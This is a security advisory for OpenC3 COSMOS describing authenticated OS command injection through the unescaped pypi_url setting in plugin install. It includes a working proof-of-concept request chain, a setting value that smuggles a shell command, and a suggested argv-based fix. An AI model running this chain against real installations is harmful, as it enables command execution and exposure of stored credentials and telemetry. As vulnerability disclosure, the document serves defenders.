Description

OpenC3 COSMOS: Authenticated OS command injection via the pypi_url setting

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

Obtain a session token:

POST /openc3-api/auth/verify    {"password":"<password>"}

Write the setting (JSON-RPC):

POST /openc3-api/api
{"jsonrpc":"2.0","method":"set_setting",
 "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
 "keyword_params":{"scope":"DEFAULT"},"id":1}

Upload a plugin gem that contains a requirements.txt:

POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)

Install it:

POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Mitigation

Aliases

References